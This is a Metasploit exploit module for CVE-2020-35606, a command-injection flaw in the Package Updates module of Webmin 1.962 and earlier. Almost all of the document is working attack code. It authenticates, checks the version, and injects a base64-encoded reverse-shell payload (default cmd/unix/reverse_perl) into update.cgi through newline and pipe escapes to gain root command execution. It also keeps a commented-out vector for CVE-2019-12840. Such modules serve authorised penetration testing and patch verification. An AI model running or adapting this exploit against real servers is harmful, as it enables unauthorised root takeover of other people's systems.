Webmin 1.962 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin 1.962 - Package Update Escape Bypass RCE (Metasploit)',  
'Description' => %q(  
This module exploits an arbitrary command execution vulnerability in Webmin  
1.962 and lower versions. Any user authorized to the "Package Updates"  
module can execute arbitrary commands with root privileges.   
It emerged by circumventing the measure taken for CVE-2019-12840.  
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.  
Therefore, since the package name variable is placed directly in the system command,   
we can manipulate it using some escape characters that HTTP supports.   
For example, we can escape control by dropping the command line down one line.   
We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,   
we must add double an ampersand(&&) to the end of the payload (%26%26)  
),  
'Author' => [  
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', 'CVE-2020-35606'],  
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'DefaultOptions' =>  
{  
'RPORT' => 10000,  
'SSL' => false,  
'PAYLOAD' => 'cmd/unix/reverse_perl'  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [['Webmin <= 1.962', {}]],  
'DisclosureDate' => '2020-12-21',  
'DefaultTarget' => 0)  
)  
register_options [  
OptString.new('USERNAME', [true, 'Webmin Username']),  
OptString.new('PASSWORD', [true, 'Webmin Password']),  
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])  
]  
end  
  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'session_login.cgi'),  
'cookie' => 'testing=1', # it must be used for "Error - No cookies"  
'vars_post' => {  
'page' => '',  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD']  
}  
})  
  
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/  
return $1  
end  
  
return nil unless res  
''  
end  
  
def check  
cookie = login  
return CheckCode::Detected if cookie == ''  
return CheckCode::Unknown if cookie.nil?  
  
vprint_status('Attempting to execute...')  
# check version  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),  
'cookie' => "sid=#{cookie}",  
'vars_get' => { "xnavigation" => "1" }  
})  
  
if res && res.code == 302 && res.body  
version = res.body.split("Webmin 1.")[1]  
return CheckCode::Detected if version.nil?  
version = version.split(" ")[0]  
if version <= "962"  
# check package update priv  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "package-updates/"),  
'cookie' => "sid=#{cookie}"  
})  
  
if res && res.code == 200 && res.body =~ /Software Package Update/  
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")  
return CheckCode::Vulnerable  
end  
end  
end  
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")  
print_status("Please try with another user account!")  
CheckCode::Safe  
end  
  
def exploit  
cookie = login  
if cookie == '' || cookie.nil?  
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')  
end  
print_good("Session cookie: #{cookie}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),  
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },  
'cookie' => "sid=#{cookie}"  
)  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Request failed')  
end  
  
print_status("Attempting to execute the payload...")  
run_update(cookie)  
end  
  
def run_update(cookie)  
@b64p = Rex::Text.encode_base64(payload.encoded)  
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'  
payload = Rex::Text.uri_encode(perl_payload)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'cookie' => "sid=#{cookie}",  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),  
'headers' =>  
{  
'Referer' => "#{peer}/package-updates/?xnavigation=1"  
},  
# new vector // bypass to backslash %0A%7C{}%26%26  
'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"  
# for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"  
})  
end  
end  
  
`